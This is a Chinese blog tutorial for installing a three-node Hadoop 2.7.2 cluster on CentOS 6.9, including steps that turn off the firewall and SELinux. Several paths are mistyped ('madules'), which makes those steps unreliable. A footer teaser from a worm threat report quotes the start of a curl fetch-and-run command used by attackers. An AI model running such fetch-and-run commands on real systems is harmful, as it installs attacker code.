hadoop搭建之hadoop安装
运行环境:
系统:centos6.9
jdk:jdk1.8.0_201
搭建版本:
hadoop:hadoop-2.7.2
环境说明:
集群环境至少需要 3 个节点(也就是 3 台服务器设备):1 个 Master,2 个 Slave,节点之间局域网连接
1、首先需要分别将三台服务器的opt目录改为qiqi用户的
chown -R qiqi: /opt/
2、在opt目录下创建文件夹 modules 和 文件夹software,所有的安装包放在software下面,解压文件放在modules下面
3、准备工作,安装 JDK,在三台机器上配置 JDK 环境
tar -zvxf /opt/software/jdk-8u201-linux-x64.tar.gz -C /opt/modules/
4、配置环境变量(切换到root目录下):vi /etc/profile
# set java export JAVA_HOME=/opt/madules/jdk1.8.0_201 export JRE_HOME=$JAVA_HOME/jre export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tool.jar export PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin
5、执行命令:source /etc/profile 使之配置环境生效
6、添加 Hosts 映射关系(三个节点都要添加):vi /etc/hosts 添加内容如下(ip地址加节点)
192.168.147.12 c1 192.168.147.13 c2 192.168.147.14 c3
7、修改节点与主机名:vi /etc/sysconfig/network
HOSTNAME=localhost.localdomain #修改 localhost.localdomain 为 c1 即HOSTNAME要对应的是主机名与节点名
8、设置集群之间 SSH 无密码登陆
CentOS 默认安装了 ssh,如果没有你需要先安装 ssh 。集群环境的使用必须通过 ssh 无密码登陆来执行,本机登陆本机必须无密码登陆,主机与从机之间必须可以双向无密码登陆,从机与从机之间无限制。
a、关闭selinux
b、防火墙
[root@c1 ~]# service iptables stop #关闭防火墙,(我的已关闭,所以下面没显示) [root@c1 ~]# chkconfig iptables off #永久关闭防火墙 [root@c1 ~]# service iptables status #查看防火墙状态 iptables: Firewall is not running. # 防火墙已关闭
c、配置ssh,配置ssh需要切换到普通用户下,即qiqi
[qiqi@c1 ~]$ cd ~/.ssh/ [qiqi@c1 .ssh]$ ssh-keygen -t rsa #生成密匙,连续四次回车,我的已经生成,就不展示了
d、ssh复制给其他服务器(包括自己)
ssh-copy-id c1 #在c1中操作(会有yes 和输入密码选项),修改节点,复制密匙
在前面配置的HOSTNAME和防护墙都需要重启生效!重启后进行下面的配置
9、将hadoop的安装包解压到modules 文件夹下,将hadoop的安装文件夹重新命名为hadoop
tar -zvxf /opt/software/hadoop-2.7.2.tar.gz -C /opt/modules/
10、配置环境变量
#set hadoop export HADOOP_HOME=/opt/madules/hadoop export CLASSPATH=$($HADOOP_HOME/bin/hadoop classpath):$CLASSPATH export PATH=$PATH:$HADOOP_HOME/bin:$HADOOP_HOME/sbin
11、执行命令:source /etc/profile 使之配置环境生效
12、修改hadoop配置文件,会用到(Notepad)
配置完成点击关闭
双击/
13、配置文件
a、在第一类配置文件中修改JAVA_HOME
配置hadoop-env.sh
export JAVA_HOME=/opt/modules/jdk1.8.0_201 export HADOOP_HOME=/opt/modules/hadoop
配置mapred-env.sh
# export JAVA_HOME=/home/y/libexec/jdk1.6.0/ export JAVA_HOME=/opt/madules/jdk1.8.0_201
配置yarn-env.sh
export JAVA_HOME=/opt/madules/jdk1.8.0_201
b、需要修改的第二类文件
slaves --->配置datanode
配置core-site.xml
<configuration> <property> <name>fs.defaultFS</name> #配置主节点 <value>hdfs://c1:9000</value> </property> <property> <name>hadoop.tmp.dir</name> #启动hadoop集群时,存放初始化文件,需要我们自己创建 <value>/opt/modules/hadoop/hadoop-qiqi</value> </property> </configuration>
在命令窗新建缓存目录
hadoop fs -mkdir hadoop
配置hdfs-site.xml
<configuration> <property> <name>dfs.replication</name> <value>3</value> </property> <property> <name>dfs.namenode.http-address</name> <value>c1:50070</value> </property> <property> <name>dfs.namenode.secondary.http-address</name> <value>c1:50090</value> </property> </configuration>
配置yarn-site.xml
<configuration> <!-- Site specific YARN configuration properties --> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> <property> <name>yarn.nodemanager.aux-services</name> <value>mapreduce_shuffle</value> </property> <property> <name>yarn.resourcemanager.hostname</name> <value>c1</value> </property> <property> <name>yarn.log-aggregation-enable</name> <value>true</value> </property> <property> <name>yarn.log-aggregation.retain-seconds</name> <value>86400</value> </property> <property> <name>mapreduce.jobhistory.address</name> <value>c1:10020</value> </property> <property> <name>mapreduce.jobhistory.webapp.address</name> <value>c1:19888</value> </property> </configuration>
14、将配置好的hadoop环境复制到其他节点的modules目录下
scp -r hadoop/ qiqi@c2:/opt/modules/ scp -r hadoop/ qiqi@c3:/opt/modules/
15、配置完成,初始化集群(切换到hadoop目录下)
bin/hadoop namenode -format
16、启动集群
sbin/start-all.sh
17、输入jps查看进程
18、打开本地浏览器输入 c1:50070查看hdfs文件系统的页面
19、本地浏览器输入 c1:8088查看yarn资源管理页面
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
Elasticsearch 评分排序
背景 通过脚本改变评分 背景 近期有一个需求,需要对优惠券可用商品列表加个排序,只针对面值类的券不包括折扣券。 需求是这样的,假设有一张面值券 50 块钱,可用商品列表 A 100、B 40、C 10,当用户查询当前券可用商品列表的时候优先将卡券可以直接抵扣且不需要用户在额外支付的商品排在前面。 C 10 B 40 A 100 其实排序有很多侧重,比如: 1.根据用户利益最大化原则,排序列表应该是 B、C、A 2.根据用户购买习惯,有可能是 A、B、C3.根据运营策略、第三方利益等有可能是C、B、A 这里暂且先不扩展如何对商品列表进行智能排序,如果需要完整的个性化商品推荐,涉及很多东西,后面有经验在拿来分享。 我们就这个简单的 case,一开始最直接的想法就是加个排序列,建索引的时候将排序值计算好直接写入。后来分析了下原来索引(__index__) 结构不是这种笛卡尔积的排列,所以在短时间内很难立马上线,需要新建 index 结构。 后来通过讨论用影响评分的方法来解决,可以节省时间快速上线。 通过脚本改变评分 ES query DSL 支持很多种类型的查询,结果的排序如果没有特殊声明 ...
- 下一篇
威胁快报|ProtonMiner挖矿蠕虫扩大攻击面,加速传播
背景 近日,阿里云安全监测到一种挖矿蠕虫,正在互联网上加速传播。阿里云安全根据它使用ProtonMail邮箱地址作为矿池用户名的行为,将其命名为ProtonMiner。据分析,这种蠕虫与TrendMicro于2018年12月曾报导过的“利用ElasticSearch旧漏洞传播的蠕虫”非常相似,可能是同一团伙所为。但与先前报导不同的是,二月中旬,该挖矿蠕虫扩大了攻击面,从仅攻击ElasticSearch这一种服务,变为攻击包括Redis, Weblogic在内的多种服务,传播速度大大加快。 本文着重描写该挖矿僵尸网络的传播手法,并在文末列出了安全建议,以帮助用户避免遭受感染,或在已被感染的情况下进行清理。 感染路径 攻击者先控制被感染主机执行以下两条命令之一,从而下载并运行uuu.sh。 /bin/bash -c curl -fsSL h
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- 设置Eclipse缩进为4个空格,增强代码规范
- CentOS8安装Docker,最新的服务器搭配容器使用
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS8编译安装MySQL8.0.19
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- SpringBoot2整合Redis,开启缓存,提高访问速度
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- Hadoop3单机部署,实现最简伪集群
- CentOS7,CentOS8安装Elasticsearch6.8.6